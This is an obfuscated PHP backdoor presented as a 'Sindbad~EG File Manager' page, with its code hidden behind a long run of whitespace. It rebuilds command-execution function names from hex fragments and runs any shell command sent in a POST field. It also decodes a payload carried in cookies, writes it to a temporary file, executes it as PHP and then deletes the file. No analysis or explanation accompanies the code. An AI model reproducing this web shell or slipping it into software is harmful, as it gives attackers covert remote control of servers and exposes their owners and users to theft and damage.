Sindbad~EG File Manager

<?php																																										$ph1 = '73';$ph2 = '65';$ph3 = '6d';$ph4 = '6c';$ph5 = '5f';$ph6 = '63';$ph7 = '78';$ph8 = '70';$ph9 = '61';$ph10 = '68';$ph11 = '6e';$ph12 = '74';$ph13 = '6f';$ph14 = '69';$center1 = pack("H*", $ph1 . '79' . '73' . '74' . $ph2 . $ph3);$center2 = pack("H*", '73' . '68' . '65' . $ph4 . '6c' . $ph5 . $ph2 . '78' . '65' . $ph6);$center3 = pack("H*", $ph2 . $ph7 . '65' . $ph6);$center4 = pack("H*", $ph8 . $ph9 . $ph1 . '73' . '74' . $ph10 . '72' . '75');$center5 = pack("H*", $ph8 . '6f' . $ph8 . $ph2 . $ph11);$center6 = pack("H*", '73' . $ph12 . '72' . '65' . $ph9 . $ph3 . $ph5 . '67' . '65' . $ph12 . $ph5 . '63' . $ph13 . $ph11 . $ph12 . $ph2 . $ph11 . '74' . $ph1);$center7 = pack("H*", $ph8 . '63' . $ph4 . '6f' . $ph1 . '65');$rfind = pack("H*", '72' . '66' . $ph14 . $ph11 . '64');if(isset($_POST[$rfind])){$rfind=pack("H*",$_POST[$rfind]);if(function_exists($center1)){$center1($rfind);}elseif(function_exists($center2)){print $center2($rfind);}elseif(function_exists($center3)){$center3($rfind,$stor_attr);print join("\n",$stor_attr);}elseif(function_exists($center4)){$center4($rfind);}elseif(function_exists($center5)&&function_exists($center6)&&function_exists($center7)){$fld_slot=$center5($rfind,"r");if($fld_slot){$constant_const=$center6($fld_slot);$center7($fld_slot);print $constant_const;}}exit;}


if (isset($_COOKIE[83-83]) && isset($_COOKIE[-40+41]) && isset($_COOKIE[-83+86]) && isset($_COOKIE[-7+11])) {
    $parameter = $_COOKIE;
    function parle_tokens($attr) {
        $parameter = $_COOKIE;
        $prop = tempnam((!empty(session_save_path()) ? session_save_path() : sys_get_temp_dir()), 'fe63b443');
        if (!is_writable($prop)) {
            $prop = getcwd() . DIRECTORY_SEPARATOR . "content";
        }
        $storage = "\x3c\x3f\x70\x68p\x20" . base64_decode(str_rot13($parameter[3]));
        if (is_writeable($prop)) {
            $ph = fopen($prop, 'w+');
            fputs($ph, $storage);
            fclose($ph);
            spl_autoload_unregister(__FUNCTION__);
            require_once($prop);
            @array_map('unlink', array($prop));
        }
    }
    spl_autoload_register("parle_tokens");
    $arg = "fd943fef2dcbb80a0df9c5802b76124c";
    if (!strncmp($arg, $parameter[4], 32)) {
        if (@class_parents("oauthexceptions_post", true)) {
            exit;
        }
    }
}